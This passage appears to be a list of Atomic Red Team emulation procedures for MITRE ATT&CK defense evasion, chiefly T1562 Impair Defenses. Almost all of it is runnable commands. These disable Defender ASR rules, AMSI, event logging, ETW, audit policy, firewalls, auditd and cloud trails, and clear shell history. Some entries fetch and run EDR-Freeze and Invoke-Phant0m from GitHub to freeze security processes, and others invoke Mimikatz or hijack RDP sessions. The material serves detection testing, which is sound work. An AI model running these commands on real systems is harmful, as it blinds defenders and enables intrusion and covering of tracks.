Disconnect-VIServer -Confirm:$false

T1562.001 - Impair Defenses: Disable or Modify Tools

Delete Microsoft Defender ASR Rules - InTune

$registryPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager"

if (-not (Test-Path $registryPath)) {
New-Item -Path $registryPath -Force
Write-Host "Registry key created: $registryPath"
}

$registryValueName = "ASRRules"

if (Test-Path "$registryPath\$registryValueName") {
Remove-ItemProperty -Path $registryPath -Name $registryValueName
Write-Host "Registry value deleted: $registryValueName"
} else {
New-ItemProperty -Path $registryPath -Name $registryValueName -PropertyType String -Value "36190899-1602-49e8-8b27-eb1d0a1ce869=1" -Force
Write-Host "Registry value created: $registryValueName"
}


Remove-ItemProperty -Path $registryPath -Name $registryValueName
Write-Host "Registry value deleted: $registryValueName"

T1562.001 - Impair Defenses: Disable or Modify Tools

Delete Microsoft Defender ASR Rules - GPO

$registryPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR\Rules"

if (-not (Test-Path $registryPath)) {
New-Item -Path $registryPath -Force
Write-Host "Registry key created: $registryPath"
}

$newValueName = "36190899-1602-49e8-8b27-eb1d0a1ce869"
$newValueData = "1"
New-ItemProperty -Path $registryPath -Name $newValueName -PropertyType String -Value $newValueData -Force
Write-Host "Registry value created: $newValueName with data $newValueData"

Remove-ItemProperty -Path $registryPath -Name $newValueName
Write-Host "Registry value deleted: $newValueName"

T1562.001 - Impair Defenses: Disable or Modify Tools

AMSI Bypass - Create AMSIEnable Reg Key

New-Item -Path "HKCU:\Software\Microsoft\Windows Script\Settings" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows Script\Settings" -Name "AmsiEnable" -Value 0 -PropertyType DWORD -Force | Out-Null

T1562.001 - Impair Defenses: Disable or Modify Tools

Disable EventLog-Application Auto Logger Session Via Registry - Cmd

reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application" /v "Start" /t REG_DWORD /d "0" /f

T1562.001 - Impair Defenses: Disable or Modify Tools

Disable EventLog-Application Auto Logger Session Via Registry - PowerShell

New-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application -Name Start -Value 0 -PropertyType "DWord" -Force

T1562.001 - Impair Defenses: Disable or Modify Tools

Disable EventLog-Application ETW Provider Via Registry - Cmd

reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application\{B6D775EF-1436-4FE6-BAD3-9E436319E218}" /v "Enabled" /t REG_DWORD /d "0" /f

T1562.001 - Impair Defenses: Disable or Modify Tools

Disable EventLog-Application ETW Provider Via Registry - PowerShell

New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application\{B6D775EF-1436-4FE6-BAD3-9E436319E218}" -Name Enabled -Value 0 -PropertyType "DWord" -Force

T1562.001 - Impair Defenses: Disable or Modify Tools

Freeze PPL-protected process with EDR-Freeze

# Enable SeDebugPrivilege
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;

public class TokenAdjuster {
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);

[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out long lpLuid);

[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges,
ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength);

[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct TOKEN_PRIVILEGES {
public int PrivilegeCount;
public long Luid;
public int Attributes;
}

public const int SE_PRIVILEGE_ENABLED = 0x00000002;
public const uint TOKEN_ADJUST_PRIVILEGES = 0x0020;
public const uint TOKEN_QUERY = 0x0008;

public static bool EnableSeDebugPrivilege() {
IntPtr hToken;
if (!OpenProcessToken(System.Diagnostics.Process.GetCurrentProcess().Handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out hToken))
return false;

long luid;
if (!LookupPrivilegeValue(null, "SeDebugPrivilege", out luid))
return false;

TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES();
tp.PrivilegeCount = 1;
tp.Luid = luid;
tp.Attributes = SE_PRIVILEGE_ENABLED;

return AdjustTokenPrivileges(hToken, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
}
}
"@

$result = [TokenAdjuster]::EnableSeDebugPrivilege()
if ($result) {
Write-Host "SeDebugPrivilege enabled successfully." -ForegroundColor Green
} else {
Write-Host "Failed to enable SeDebugPrivilege." -ForegroundColor Red
exit 1
}

# Get basic process info
$process = Get-Process -Name $SecurityHealthService -ErrorAction Stop
$processName = $process.ProcessName
Write-Host "Process Name: $processName)"
Write-Host "PID: $($process.Id)"

# Get executable path and user info
$query = "SELECT * FROM Win32_Process WHERE Name = '$processName.exe'"
$wmiProcess = Get-WmiObject -Query $query

$owner = $wmiProcess.GetOwner()
Write-Host "User: $($owner.Domain)\$($owner.User)"


# Get the folder of the current script
$scriptFolder = Split-Path -Parent $MyInvocation.MyCommand.Definition

# Download latest EDR-Freeze package and extract (force replace)
$downloadUrl = "https://github.com/TwoSevenOneT/EDR-Freeze/releases/download/main/EDR-Freeze_1.0.zip"
$zipPath = Join-Path $scriptFolder "EDR-Freeze_1.0.zip"
Write-Host "Downloading latest EDR-Freeze from $downloadUrl" -ForegroundColor Cyan
try {
Invoke-WebRequest -Uri $downloadUrl -OutFile $zipPath -UseBasicParsing -ErrorAction Stop
Write-Host "Download completed: $zipPath" -ForegroundColor Green
$extractFolder = $scriptFolder
if (Test-Path $zipPath) {
Write-Host "Extracting archive to $extractFolder (overwriting existing files)" -ForegroundColor Cyan
if (Test-Path $extractFolder) {
# Ensure target exe not locked; attempt to stop any running instance silently
Get-Process -Name "EDR-Freeze_1.0" -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue
}
Add-Type -AssemblyName System.IO.Compression.FileSystem 2>$null
# Custom extraction routine (overwrite existing) compatible with .NET Framework (no bool overwrite overload)
$archive = $null
try {
$archive = [System.IO.Compression.ZipFile]::OpenRead($zipPath)
foreach ($entry in $archive.Entries) {
if ([string]::IsNullOrWhiteSpace($entry.FullName)) { continue }
if ($entry.FullName.EndsWith('/')) { # directory entry
$dirPath = Join-Path $extractFolder $entry.FullName
if (-not (Test-Path $dirPath)) { New-Item -ItemType Directory -Path $dirPath -Force | Out-Null }
continue
}
$destPath = Join-Path $extractFolder $entry.FullName
$destDir = Split-Path $destPath -Parent
if (-not (Test-Path $destDir)) { New-Item -ItemType Directory -Path $destDir -Force | Out-Null }
if (Test-Path $destPath) { Remove-Item -Path $destPath -Force -ErrorAction SilentlyContinue }
try {
# Use static extension method (PowerShell 5.1 compatible)
[System.IO.Compression.ZipFileExtensions]::ExtractToFile($entry, $destPath, $false)
} catch {
Write-Host "Failed to extract entry $($entry.FullName): $_" -ForegroundColor Yellow
}
}
Write-Host "Extraction completed." -ForegroundColor Green
} finally {
if ($archive) { $archive.Dispose() }
}
}
} catch {
Write-Host "Failed to download or extract EDR-Freeze: $_" -ForegroundColor Red
}

# Wait 15s before putting targeted process before putting it in the comma
Write-Host "Waiting 15s before putting $processName in the comma" -ForegroundColor Yellow
Start-Sleep -Seconds 5
Write-Host "Waiting 10s before putting $processName in the comma" -ForegroundColor Yellow
Start-Sleep -Seconds 5
Write-Host "Waiting 5s before putting $processName in the comma" -ForegroundColor Yellow
Start-Sleep -Seconds 3
Write-Host "Waiting 2s before putting $processName in the comma" -ForegroundColor Yellow
Start-Sleep -Seconds 2

# Put targeted process in the comma for 15s
# Discover the EDR-Freeze executable dynamically (pick most recent if multiple)
$edrFreezeExeName = Get-ChildItem -Path $scriptFolder -Filter 'EDR-Freeze_*.exe' -ErrorAction SilentlyContinue |
Sort-Object LastWriteTime -Descending |
Select-Object -First 1 -ExpandProperty Name
if (-not $edrFreezeExeName) {
Write-Host "No EDR-Freeze executable (EDR-Freeze_*.exe) found in $scriptFolder" -ForegroundColor Red
exit 1
}

$edrFreezeExe = Join-Path $scriptFolder $edrFreezeExeName
Write-Host "Using EDR-Freeze executable: $edrFreezeExeName" -ForegroundColor Cyan
Write-Host "$processName putted in the comma for 15s, by targetting Process ID $($htaProcess.Id)" -ForegroundColor Yellow
Start-Process -FilePath $edrFreezeExe -ArgumentList ("$($process.Id) 15000") | Out-Null

T1562.001 - Impair Defenses: Disable or Modify Tools

Disable ASLR Via sysctl parameters - Linux

sysctl -w kernel.randomize_va_space=0

T1562.002 - Impair Defenses: Disable Windows Event Logging

Disable Windows IIS HTTP Logging

C:\Windows\System32\inetsrv\appcmd.exe set config "Default Web Site" /section:httplogging /dontLog:true

T1562.002 - Impair Defenses: Disable Windows Event Logging

Disable Windows IIS HTTP Logging via PowerShell

set-WebConfigurationProperty -PSPath "IIS:\Sites\Default Web Site\" -filter "system.webServer/httpLogging" -name dontLog -value $true

T1562.002 - Impair Defenses: Disable Windows Event Logging

Kill Event Log Service Threads

Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction Ignore
$url = "https://raw.githubusercontent.com/hlldz/Invoke-Phant0m/f1396c411a867e1b471ef80c5c534466103440e0/Invoke-Phant0m.ps1"
$output = "$env:TEMP\Invoke-Phant0m.ps1"
$wc = New-Object System.Net.WebClient
$wc.DownloadFile($url, $output)
cd $env:TEMP
Import-Module .\Invoke-Phant0m.ps1
Invoke-Phant0m

T1562.002 - Impair Defenses: Disable Windows Event Logging

Impair Windows Audit Log Policy

auditpol /set /category:"Account Logon" /success:disable /failure:disable
auditpol /set /category:"Logon/Logoff" /success:disable /failure:disable
auditpol /set /category:"Detailed Tracking" /success:disable

T1562.002 - Impair Defenses: Disable Windows Event Logging

Clear Windows Audit Policy Config

auditpol /clear /y
auditpol /remove /allusers

T1562.002 - Impair Defenses: Disable Windows Event Logging

Disable Event Logging with wevtutil

wevtutil sl "Microsoft-Windows-IKE/Operational" /e:false

T1562.002 - Impair Defenses: Disable Windows Event Logging

Makes Eventlog blind with Phant0m

"T1562.002\bin\Phant0m.exe"

T1562.002 - Impair Defenses: Disable Windows Event Logging

Modify Event Log Channel Access Permissions via Registry - PowerShell

Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-TaskScheduler/Operational -Name "ChannelAccess" -Value "O:SYG:SYD:(D;;0x1;;;WD)"
Restart-Service -Name EventLog -Force -ErrorAction Ignore

T1562.002 - Impair Defenses: Disable Windows Event Logging

Modify Event Log Channel Access Permissions via Registry 2 - PowerShell

New-Item -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\EventLog\Setup -Force
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\EventLog\Setup -Name "ChannelAccess" -Value "O:SYG:SYD:(D;;0x1;;;WD)"
Restart-Service -Name EventLog -Force -ErrorAction Ignore

T1562.002 - Impair Defenses: Disable Windows Event Logging

Modify Event Log Access Permissions via Registry - PowerShell

Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\EventLog\System -Name "CustomSD" -Value "O:SYG:SYD:(D;;0x1;;;WD)"

T1562.003 - Impair Defenses: Impair Command History Logging

Disable history collection

export HISTCONTROL=ignoreboth
whoami

T1562.003 - Impair Defenses: Impair Command History Logging

Disable history collection (freebsd)

export HISTSIZE=0
whoami

T1562.003 - Impair Defenses: Impair Command History Logging

Mac HISTCONTROL

{MISSING IN ATOMIC RED TEAM}

T1562.003 - Impair Defenses: Impair Command History Logging

Clear bash history

cp $HISTFILE $HISTFILE.OLD
if ((${#HISTFILE[@]})); then echo $HISTFILE; fi
echo "" > $HISTFILE
if [ $(wc -c <$HISTFILE) -gt 1 ]; then echo "$HISTFILE is larger than 1k"; fi
ls -la $HISTFILE
cat $HISTFILE
history -c
if [ $(history |wc -l) -eq 1 ]; then echo "History cache cleared"; fi

T1562.003 - Impair Defenses: Impair Command History Logging

Setting the HISTCONTROL environment variable

TEST=$(echo $HISTCONTROL)
if [ "$HISTCONTROL" != "ignoreboth" ]; then export HISTCONTROL="ignoreboth"; fi
history -c
ls -la $HISTFILE # " ls -la $HISTFILE"
if [ $(history |wc -l) -eq 1 ]; then echo "ls -la is not in history cache"; fi
if [ "$HISTCONTROL" != "erasedups" ]; then export HISTCONTROL="erasedups"; fi
history -c
ls -la $HISTFILE
ls -la $HISTFILE
ls -la $HISTFILE
if [ $(history |wc -l) -eq 2 ]; then echo "Their is only one entry for ls -la $HISTFILE"; fi

T1562.003 - Impair Defenses: Impair Command History Logging

Setting the HISTFILESIZE environment variable

TEST=$(echo $HISTFILESIZE)
echo $HISTFILESIZE
export HISTFILESIZE=0
echo "runnning some commands to populate the history"
whoami
groups
if [ $(echo $HISTFILESIZE) -eq 0 ]; then echo "\$HISTFILESIZE is zero"; else HIST_LENGHT=$(wc -l $HISTFILE); echo "\$HISTFILESIZE is not zero, history lenght is $HIST_LENGHT"; fi

T1562.003 - Impair Defenses: Impair Command History Logging

Setting the HISTSIZE environment variable

echo $HISTSIZE
export HISTSIZE=0
echo "runnning some commands to populate the history"
whoami
groups
if [ $(echo $HISTSIZE) -eq 0 ]; then echo "\$HISTSIZE is zero"; else HIST_LENGTH=$(wc -l $HISTFILE); echo "\$HISTSIZE is not zero, history size is $HIST_LENGTH"; fi

T1562.003 - Impair Defenses: Impair Command History Logging

Setting the HISTFILE environment variable

TEST=$(echo $HISTFILE)
echo $HISTFILE
export HISTFILE="/dev/null"
echo "runnning some commands to populate the history"
whoami
groups
if [ $(echo $HISTFILE) == "/dev/null" ]; then echo "\$HISTFILE is /dev/null"; else HIST_LENGHT=$(wc -l $HISTFILE); echo "\$HISTFILE is not /dev/null, history lenght is $HIST_LENGHT"; fi

T1562.003 - Impair Defenses: Impair Command History Logging

Setting the HISTFILE environment variable (freebsd)

echo $HISTFILE
export HISTFILE="/dev/null"
if [ $(echo $HISTFILE) == "/dev/null" ]; then echo "\$HISTFILE is /dev/null"; fi

T1562.003 - Impair Defenses: Impair Command History Logging

Setting the HISTIGNORE environment variable

if ((${#HISTIGNORE[@]})); then echo "\$HISTIGNORE = $HISTIGNORE"; else export HISTIGNORE='ls*:rm*:ssh*'; echo "\$HISTIGNORE = $HISTIGNORE"; fi
history -c
ls -la $HISTFILE
ls -la ~/.bash_logout
if [ $(history |wc -l) -eq 1 ]; then echo "ls commands are not in history"; fi
unset HISTIGNORE
if ((${#HISTIGNORE[@]})); then echo "\$HISTIGNORE = $HISTIGNORE"; else export HISTIGNORE='*'; echo "\$HISTIGNORE = $HISTIGNORE"; fi
history -c
whoami
groups
if [ $(history |wc -l) -eq 0 ]; then echo "History cache is empty"; fi

T1562.003 - Impair Defenses: Impair Command History Logging

Disable Windows Command Line Auditing using reg.exe

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 0 /f

T1562.003 - Impair Defenses: Impair Command History Logging

Disable Windows Command Line Auditing using Powershell Cmdlet

New-ItemProperty -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit" -Name "ProcessCreationIncludeCmdLine_Enabled" -Value 0 -PropertyType DWORD -Force -ErrorAction Ignore

T1562.004 - Impair Defenses: Disable or Modify System Firewall

Disable Microsoft Defender Firewall

netsh advfirewall set currentprofile state off

T1562.004 - Impair Defenses: Disable or Modify System Firewall

Disable Microsoft Defender Firewall via Registry

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile" /v "EnableFirewall" /t REG_DWORD /d 0 /f

T1562.004 - Impair Defenses: Disable or Modify System Firewall

Allow SMB and RDP on Microsoft Defender Firewall

netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
netsh advfirewall firewall set rule group="file and printer sharing" new enable=Yes

T1562.004 - Impair Defenses: Disable or Modify System Firewall

Opening ports for proxy - HARDRAIN

netsh advfirewall firewall add rule name="atomic testing" action=allow dir=in protocol=TCP localport=450

T1562.004 - Impair Defenses: Disable or Modify System Firewall

Open a local port through Windows Firewall to any profile

netsh advfirewall firewall add rule name="Open Port to Any" dir=in protocol=tcp localport=3389 action=allow profile=any

T1562.004 - Impair Defenses: Disable or Modify System Firewall

Allow Executable Through Firewall Located in Non-Standard Location

Copy-Item "T1562.004\bin\AtomicTest.exe" -Destination "C:\Users\$env:UserName" -Force
netsh advfirewall firewall add rule name="Atomic Test" dir=in action=allow program="C:\Users\$env:UserName\AtomicTest.exe" enable=yes

T1562.004 - Impair Defenses: Disable or Modify System Firewall

Stop/Start UFW firewall

ufw disable

T1562.004 - Impair Defenses: Disable or Modify System Firewall

Stop/Start Packet Filter

service pf stop
service pf disable

T1562.004 - Impair Defenses: Disable or Modify System Firewall

Stop/Start UFW firewall systemctl

systemctl stop ufw

T1562.004 - Impair Defenses: Disable or Modify System Firewall

Turn off UFW logging

ufw logging off

T1562.004 - Impair Defenses: Disable or Modify System Firewall

Add and delete UFW firewall rules

ufw prepend deny from 1.2.3.4
ufw status numbered

T1562.004 - Impair Defenses: Disable or Modify System Firewall

Add and delete Packet Filter rules

echo "block in proto tcp from 1.2.3.4 to any" | pfctl -a pf-rules -f -
pfctl -a pf-rules -s rules

T1562.004 - Impair Defenses: Disable or Modify System Firewall

Edit UFW firewall user.rules file

echo "# THIS IS A COMMENT" >> /etc/ufw/user.rules
grep "# THIS IS A COMMENT" /etc/ufw/user.rules

T1562.004 - Impair Defenses: Disable or Modify System Firewall

Edit UFW firewall ufw.conf file

echo "# THIS IS A COMMENT" >> /etc/ufw/ufw.conf
grep "# THIS IS A COMMENT" /etc/ufw/ufw.conf

T1562.004 - Impair Defenses: Disable or Modify System Firewall

Edit UFW firewall sysctl.conf file

echo "# THIS IS A COMMENT" >> /etc/ufw/sysctl.conf
grep "# THIS IS A COMMENT" /etc/ufw/sysctl.conf

T1562.004 - Impair Defenses: Disable or Modify System Firewall

Edit UFW firewall main configuration file

echo "# THIS IS A COMMENT" >> /etc/default/ufw
grep "# THIS IS A COMMENT" /etc/default/ufw

T1562.004 - Impair Defenses: Disable or Modify System Firewall

Tail the UFW firewall log file

tail /var/log/ufw.log

T1562.004 - Impair Defenses: Disable or Modify System Firewall

Disable iptables

iptables-save > /tmp/iptables.rules
iptables -F

T1562.004 - Impair Defenses: Disable or Modify System Firewall

Modify/delete iptables firewall rules

iptables -D OUTPUT -p tcp --dport 21 -j DROP

T1562.004 - Impair Defenses: Disable or Modify System Firewall

LockBit Black - Unusual Windows firewall registry modification -cmd

reg add "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f

T1562.004 - Impair Defenses: Disable or Modify System Firewall

LockBit Black - Unusual Windows firewall registry modification -Powershell

New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force
New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force

T1562.004 - Impair Defenses: Disable or Modify System Firewall

Blackbit - Disable Windows Firewall using netsh firewall

netsh firewall set opmode mode=disable

T1562.004 - Impair Defenses: Disable or Modify System Firewall

ESXi - Disable Firewall via Esxcli

..\ExternalPayloads\plink.exe -ssh atomic.local -l root -pw n/a -m ..\atomics\T1562.004\src\esxi_disable_firewall.txt

T1562.004 - Impair Defenses: Disable or Modify System Firewall

Set a firewall rule using New-NetFirewallRule

New-NetFirewallRule -DisplayName "New rule" -Direction "Inbound" -LocalPort "21" -Protocol "TCP" -Action "allow"

T1562.004 - Impair Defenses: Disable or Modify System Firewall

ESXi - Set Firewall to PASS Traffic

echo "" | "..\ExternalPayloads\plink.exe" -batch "atomic.local" -ssh -l root -pw "password" "esxcli network firewall set --default-action true"

T1562.006 - Impair Defenses: Indicator Blocking

Auditing Configuration Changes on Linux Host

sed -i '$ a #art_test_1562_006_1' /etc/audisp/audispd.conf
if [ -f "/etc/auditd.conf" ];
then sed -i '$ a #art_test_1562_006_1' /etc/auditd.conf
else sed -i '$ a #art_test_1562_006_1' /etc/audit/auditd.conf
fi
sed -i '$ a #art_test_1562_006_1' /etc/libaudit.conf

T1562.006 - Impair Defenses: Indicator Blocking

Auditing Configuration Changes on FreeBSD Host

echo '#art_test_1562_006_1' >> /etc/security/audit_event

T1562.006 - Impair Defenses: Indicator Blocking

Logging Configuration Changes on Linux Host

if [ -f "/etc/syslog.conf" ];
then sed -i '$ a #art_test_1562_006_2' /etc/syslog.conf
fi
if [ -f "/etc/rsyslog.conf" ];
then sed -i '$ a #art_test_1562_006_2' /etc/rsyslog.conf
fi
if [ -f "/etc/syslog-ng/syslog-ng.conf" ];
then sed -i '$ a #art_test_1562_006_2' /etc/syslog-ng/syslog-ng.conf
fi

T1562.006 - Impair Defenses: Indicator Blocking

Logging Configuration Changes on FreeBSD Host

if [ -f "/etc/syslog.conf" ];
then echo '#art_test_1562_006_2' >> /etc/syslog.conf
fi

T1562.006 - Impair Defenses: Indicator Blocking

Disable Powershell ETW Provider - Windows

cmd /c "..\ExternalPayloads\pstools\PsExec.exe" -accepteula -i -s cmd.exe /c logman update trace "EventLog-Application" --p "Microsoft-Windows-Powershell" -ets

T1562.006 - Impair Defenses: Indicator Blocking

Disable .NET Event Tracing for Windows Via Registry (cmd)

REG ADD HKLM\Software\Microsoft\.NETFramework /v ETWEnabled /t REG_DWORD /d 0

T1562.006 - Impair Defenses: Indicator Blocking

Disable .NET Event Tracing for Windows Via Registry (powershell)

New-ItemProperty -Path HKLM:\Software\Microsoft\.NETFramework -Name ETWEnabled -Value 0 -PropertyType "DWord" -Force

T1562.006 - Impair Defenses: Indicator Blocking

LockBit Black - Disable the ETW Provider of Windows Defender -cmd

reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational" /v Enabled /t REG_DWORD /d 0 /f

T1562.006 - Impair Defenses: Indicator Blocking

LockBit Black - Disable the ETW Provider of Windows Defender -Powershell

New-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational" -Name Enabled -PropertyType DWord -Value 0 -Force

T1562.006 - Impair Defenses: Indicator Blocking

Disable .NET Event Tracing for Windows Via Environment Variable HKCU Registry - Cmd

REG ADD HKCU\Environment /v COMPlus_ETWEnabled /t REG_SZ /d 0 /f

T1562.006 - Impair Defenses: Indicator Blocking

Disable .NET Event Tracing for Windows Via Environment Variable HKCU Registry - PowerShell

New-ItemProperty -Path HKCU:\Environment -Name COMPlus_ETWEnabled -Value 0 -PropertyType "String" -Force

T1562.006 - Impair Defenses: Indicator Blocking

Disable .NET Event Tracing for Windows Via Environment Variable HKLM Registry - Cmd

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v COMPlus_ETWEnabled /t REG_SZ /d 0 /f

T1562.006 - Impair Defenses: Indicator Blocking

Disable .NET Event Tracing for Windows Via Environment Variable HKLM Registry - PowerShell

New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -Name COMPlus_ETWEnabled -Value 0 -PropertyType "String" -Force

T1562.006 - Impair Defenses: Indicator Blocking

Block Cybersecurity communication by leveraging Windows Name Resolution Policy Table

Add-DnsClientNrptRule -Namespace ".endpoint.security.microsoft.com" -NameServers 127.0.0.1 -Comment "Silenced by Name Resolution Policy Table"
Add-DnsClientNrptRule -Namespace "endpoint.security.microsoft.com" -NameServers 127.0.0.1 -Comment "Silenced by Name Resolution Policy Table"
Clear-DnsClientCache

T1562.008 - Impair Defenses: Disable Cloud Logs

AWS - CloudTrail Changes

aws cloudtrail update-trail --name redatomictesttrail --s3-bucket-name redatomic-test --is-multi-region-trail --region us-east-1
aws cloudtrail stop-logging --name redatomictesttrail --region us-east-1
aws cloudtrail delete-trail --name redatomictesttrail --region us-east-1

T1562.008 - Impair Defenses: Disable Cloud Logs

Azure - Eventhub Deletion

$secure_pwd = "None" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "None", $secure_pwd
Connect-AzureAD -Credential $creds
Remove-AzEventHub -ResourceGroupName None -Namespace None -Name test_eventhub

T1562.008 - Impair Defenses: Disable Cloud Logs

Office 365 - Exchange Audit Log Disabled

$secure_pwd = "None" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "None", $secure_pwd
Connect-ExchangeOnline -Credential $creds
Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $False

T1562.008 - Impair Defenses: Disable Cloud Logs

AWS - Disable CloudTrail Logging Through Event Selectors using Stratus

export AWS_REGION=us-west-2
cd $T1562.008/src
echo "starting warmup"
./stratus warmup aws.defense-evasion.cloudtrail-event-selectors
echo "starting detonate"
./stratus detonate aws.defense-evasion.cloudtrail-event-selectors --force

T1562.008 - Impair Defenses: Disable Cloud Logs

AWS - CloudTrail Logs Impairment Through S3 Lifecycle Rule using Stratus

export AWS_REGION=us-west-2
cd $T1562.008/src
echo "starting warmup"
./stratus warmup aws.defense-evasion.cloudtrail-lifecycle-rule
echo "starting detonate"
./stratus detonate aws.defense-evasion.cloudtrail-lifecycle-rule --force

T1562.008 - Impair Defenses: Disable Cloud Logs

AWS - Remove VPC Flow Logs using Stratus

export AWS_REGION=us-west-2
cd $T1562.008/src
echo "starting warmup"
./stratus warmup aws.defense-evasion.vpc-remove-flow-logs
echo "starting detonate"
./stratus detonate aws.defense-evasion.vpc-remove-flow-logs --force

T1562.008 - Impair Defenses: Disable Cloud Logs

AWS - CloudWatch Log Group Deletes

aws logs create-log-group --log-group-name log-test --region us-east-1 --output json
echo "*** Log Group Created ***"
aws logs delete-log-group --log-group-name log-test --region us-east-1 --output json
echo "*** Log Group Deleted ***"

T1562.008 - Impair Defenses: Disable Cloud Logs

AWS CloudWatch Log Stream Deletes

aws logs create-log-group --log-group-name test-logs --region us-west-2 --output json
echo "*** Log Group Created ***"
aws logs create-log-stream --log-group-name test-logs --log-stream-name 20150601 --region us-west-2
echo "*** Log Stream Created ***"
aws logs delete-log-stream --log-group-name test-logs --log-stream-name 20150601 --region us-west-2
echo "*** Log Stream Deleted ***"
aws logs delete-log-group --log-group-name test-logs --region us-west-2 --output json
echo "*** Log Group Deleted ***"

T1562.008 - Impair Defenses: Disable Cloud Logs

Office 365 - Set Audit Bypass For a Mailbox

$secure_pwd = "o365_password_test" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "o365_user_test", $secure_pwd
Connect-ExchangeOnline -Credential $creds
Set-MailboxAuditBypassAssociation -Identity "o365_email_test" -AuditBypassEnabled $true

T1562.008 - Impair Defenses: Disable Cloud Logs

GCP - Delete Activity Event Log

gcloud config set project atomic-project-1
gcloud logging logs delete projects/atomic-project-1/logs/cloudaudit.googleapis.com%2Factivity --quiet

T1562.009 - Impair Defenses: Safe Boot Mode

Safe Mode Boot

bcdedit /set safeboot network

T1562.010 - Impair Defenses: Downgrade Attack

ESXi - Change VIB acceptance level to CommunitySupported via PowerCLI

Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server atomic.local -User root -Password pass
(Get-EsxCli -VMHost atomic.local -V2).software.acceptance.set.Invoke(@{level = "CommunitySupported"})
Disconnect-VIServer -Confirm:$false

T1562.010 - Impair Defenses: Downgrade Attack

ESXi - Change VIB acceptance level to CommunitySupported via ESXCLI

echo "" | "..\ExternalPayloads\plink.exe" "atomic.local" -ssh -l "root" -pw "pass" -m "T1562.010\src\esx_community_supported.txt"

T1562.010 - Impair Defenses: Downgrade Attack

PowerShell Version 2 Downgrade

PowerShell -version 2 -command 'Invoke-Mimikatz'

T1562.012 - Impair Defenses: Disable or Modify Linux Audit System

Delete all auditd rules using auditctl

auditctl -D

T1562.012 - Impair Defenses: Disable or Modify Linux Audit System

Disable auditd using auditctl

auditctl -e 0

T1562 - Impair Defenses

Windows Disable LSA Protection

reg add HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 0 /f

T1562 - Impair Defenses

Disable journal logging via systemctl utility

sudo systemctl stop systemd-journald #disables journal logging

T1562 - Impair Defenses

Disable journal logging via sed utility

sudo sed -i 's/Storage=auto/Storage=none/' /etc/systemd/journald.conf

T1563.002 - Remote Service Session Hijacking: RDP Hijacking

RDP hijacking

query user
sc.exe create sesshijack binpath= "cmd.exe /k tscon 1337 /dest:rdp-tcp#55"
net start sesshijack

T1564.001 - Hide Artifacts: Hidden Files and Directories

Create a hidden file in a hidden directory

mkdir /var/tmp/.hidden-directory
echo "T1564.001" > /var/tmp/.hidden-directory/.hidden-file

T1564.001 - Hide Artifacts: Hidden Files and Directories

Mac Hidden file

xattr -lr * / 2>&1 /dev/null | grep -C 2 "00 00 00 00 00 00 00 00 40 00 FF FF FF FF 00 00"

T1564.001 - Hide Artifacts: Hidden Files and Directories

Create Windows System File with Attrib

attrib.exe +s %temp%\T1564.001.txt

T1564.001 - Hide Artifacts: Hidden Files and Directories

Create Windows Hidden File with Attrib

attrib.exe +h %temp%\T1564.001.txt

